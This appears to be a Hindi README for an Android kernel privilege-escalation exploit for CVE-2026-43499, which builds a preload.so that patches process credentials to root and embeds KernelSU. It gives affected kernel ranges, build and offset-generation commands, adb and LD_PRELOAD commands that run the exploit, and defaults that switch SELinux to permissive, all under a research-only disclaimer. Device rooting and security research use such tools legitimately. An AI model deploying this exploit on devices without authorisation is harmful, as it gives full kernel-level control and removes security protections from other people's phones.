
Android स्थानीय विशेषाधिकार उन्नयन एक्सप्लॉइट CVE-2026-43499 के लिए जो kernel creds को पैच करता है और LD_PRELOAD के माध्यम से late-load मोड में एम्बेडेड KernelSU लॉन्च करता है।
कर्नेल भेद्यता CVE-2026-43499 पर आधारित स्थानीय विशेषाधिकार उन्नयन अनुकूलन, जिसमें एम्बेडेड KernelSU एकीकृत है।
preload.so संकलित और उत्पन्न करता है; सफल शोषण के बाद, KernelSU को late-load मोड (जेलब्रिक मोड) में प्रारंभ किया जाएगा।
(xbl_config.img / vendor_boot.img) + boot.img से target.h उत्पन्न करने का समर्थन करता है। या अन्य तरीका
संदर्भित परियोजनाएँ:
[!IMPORTANT] कंप्यूटर सिस्टम को नुकसान पहुँचाने, समझौता करने या उन तक पहुँच प्राप्त करने के लिए भेद्यताओं का अनधिकृत शोषण कानून द्वारा निषिद्ध है। यह परियोजना पूर्णतः शोध, शैक्षिक और सीखने के उद्देश्यों के लिए प्रदान की गई है, और इसका उपयोग केवल उन सिस्टम और वातावरणों में किया जा सकता है जिनके लिए पूर्व अनुमति दी गई है। इस परियोजना का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम पर किया जाता है। लेखक और योगदानकर्ता इस परियोजना के किसी भी दुरुपयोग या इसके उपयोग से होने वाले किसी भी नुकसान, हानि या कानूनी परिणामों के लिए कोई दायित्व स्वीकार नहीं करते हैं।
अस्वीकरण: कंप्यूटर सिस्टम पर विनाश, घुसपैठ या अनधिकृत पहुँच के लिए भेद्यताओं का अनधिकृत उपयोग संबंधित कानूनों और विनियमों का उल्लंघन कर सकता है। यह परियोजना केवल उन सिस्टम और वातावरणों में सुरक्षा शोध, सीखने और परीक्षण उद्देश्यों के लिए है जिनके लिए वैध अनुमति प्राप्त की गई है। इस परियोजना के उपयोग, दुरुपयोग या संशोधन के कारण होने वाली किसी भी प्रत्यक्ष या अप्रत्यक्ष हानि, कानूनी दायित्व और अन्य परिणामों के लिए उपयोगकर्ता स्वयं जिम्मेदार होगा, और परियोजना के लेखक और योगदानकर्ता कोई दायित्व स्वीकार नहीं करते हैं।
जब आपका कर्नेल संस्करण {Linux Kernel} हो, तो यह इस भेद्यता के प्रभाव क्षेत्र में है
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | स्थिति |
|---|---|
rodin(डिफ़ॉल्ट) | सत्यापित |
अन्य src/targets/* | संदर्भ |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # preload.so में एम्बेड किया गया KernelSU userspace binary
├── tools/
│ ├── generate_target.py # इस रिपॉज़िटरी का एकीकृत target.h जनरेशन प्रवेश बिंदु
│ └── vendor/ # पैरेंट निर्देशिका से सिंक किए गए मूल जनरेशन सहायक स्क्रिप्ट
└── src/
├── main.c # exploit मुख्य प्रक्रिया
├── preload.c # LD_PRELOAD constructor + ksud लेखन/प्रारंभ
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
आउटपुट:
build/<target>/bin/preload.so
make list-projects
इस रिपॉज़िटरी में पहले से ही एकीकृत target जनरेशन स्क्रिप्ट है:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py प्रवेश स्क्रिप्ट है। यह पैरेंट निर्देशिका की सभी target जनरेशन प्रक्रियाओं को संदर्भित और समाहित करती है, और अंत में इस रिपॉज़िटरी के स्रोत कोड के अनुकूल पूर्ण src/targets/<project>/target.h आउटपुट करती है।
स्क्रिप्ट IKCONFIG में CONFIG_DEBUG_INFO_BTF=y को अनिवार्य रूप से सत्यापित नहीं करती है। यदि संरचना फ़ील्ड ऑफ़सेट या percpu entry_task लेआउट सत्यापित नहीं किया जा सकता है, तो यह चेतावनी प्रिंट करेगी और जनरेशन जारी रखेगी।
यदि इमेज में पूरी तरह से उपयोग योग्य BTF नहीं है, उदाहरण के लिए यह प्रकट होता है:
有效 vmlinux BTF 候选不唯一: []
जनरेटर BTF-रहित fallback में प्रवेश करेगा:
boot.img के kallsyms से फ़ंक्शन/ग्लोबल ऑब्जेक्ट सिंबल ऑफ़सेट को पुनर्प्राप्त करना जारी रखेगा;rodin है;without BTF और उपयोग किए गए टेम्पलेट को इंगित करेगी;fallback टेम्पलेट निर्दिष्ट करें:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# या
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
डिफ़ॉल्ट रूप से लिखा जाता है:
src/targets/<project>/target.h
स्क्रिप्ट को सीधे भी कॉल किया जा सकता है:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json में भौतिक पता जानकारी शामिल होनी चाहिए, उदाहरण के लिए:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
केवल profile उत्पन्न करें:
make detect-profile PROFILE_OUT=profile.json
profile का पता लगाएं और तुरंत target उत्पन्न करें:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
स्क्रिप्ट पैरेंट निर्देशिका जनरेटर द्वारा समर्थित अन्य प्रवेश बिंदुओं को भी उजागर करती है:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
सफल आउटपुट का रूप:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin डिफ़ॉल्ट रूप से वास्तविक डिवाइस पर सत्यापित को बनाए रखेगा:
#define MM_STRUCT_SZ 0x500
ओवरराइड करने की आवश्यकता हो तो:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
मिलान वाली boot image और profile से उत्पन्न करने की अनुशंसा की जाती है:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
एक पूर्ण target header में शामिल होगा:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ और KernelSnitch ट्यूनिंग मानवर्तमान स्रोत कोड में डिफ़ॉल्ट मान लिखे गए हैं, सामान्य संचालन के लिए केवल LD_PRELOAD सेट करना और कोई भी प्रोग्राम निष्पादित करना आवश्यक है (toybox id की अनुशंसा की जाती है)।
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
वर्तमान डिफ़ॉल्ट कॉन्फ़िगरेशन इस प्रकार है:
डिफ़ॉल्ट रूप से वास्तव में निष्पादित ksud कमांड व्यवहार:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
ये पर्यावरण चर अभी भी रनटाइम पर ओवरराइड किए जा सकते हैं, उदाहरण के लिए:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
पहले से लिखे गए ksud का पुन: उपयोग करें:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean build/embed/ksud को बनाए रखेगा, क्योंकि src/ksud_blob.S इसे निम्नलिखित तरीके से एम्बेड करता है:
.incbin "build/embed/ksud"
यदि मैन्युअल सफ़ाई के कारण build/embed/ksud खो जाता है, तो पुनर्स्थापित किया जा सकता है:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not foundअंतर्निहित payload को पुनर्स्थापित करने के बाद पुनः निर्माण करें:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0 लौटाता हैrodin legacy/simple pselect layout का उपयोग करने की अपेक्षा करता है:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
यदि डिवाइस की स्थिति विफल प्रयासों से दूषित हो गई है, तो सीधे पुनः आरंभ करें और पुनः प्रयास करें:
adb reboot
F_SETPIPE_SZ EPERM लौटाता हैआमतौर पर यह विफल/अवशिष्ट प्रयासों के कारण होने वाली स्थिति समस्या है, पुनः आरंभ करना सबसे तेज़ सफ़ाई का तरीका है:
adb reboot
ksud प्रारंभ होता है लेकिन /proc/modules में KernelSU नहीं हैलॉग देखें:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
आवश्यक होने पर root shell में मैन्युअल रूप से चलाएं:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. See LICENSE.
| सेटिंग | डिफ़ॉल्ट मान | विवरण |
|---|
KSUD_LATE_LOAD | 1 | ksud late-load निष्पादित करें |
KSUD_ALLOW_SHELL | 1 | --allow-shell पास करें |
KSUD_PACKAGE | me.weishu.kernelsu | ksud को पास किया गया मैनेजर पैकेज नाम (प्रभावी नहीं लगता) |
KSUD_DST | /data/local/tmp/ksud | अंतर्निहित ksud लेखन पथ |
KSUD_SKIP_WRITE | 0 | डिफ़ॉल्ट रूप से अंतर्निहित ksud लिखें |
KSUD_DEFER_TO_PARENT | 1 | पैच किए गए पैरेंट/वर्तमान प्रक्रिया पथ से ksud प्रारंभ करें |
ROOT_PATCH_SELF | 1 | वर्तमान प्रक्रिया को uid 0 में पैच करें |
DISABLE_SELINUX | 1 | root patch के समय SELinux enforcing को permissive में लिखें |
ROOT_EXIT_SLEEP | unset / 0 | लौटने से पहले अतिरिक्त sleep नहीं |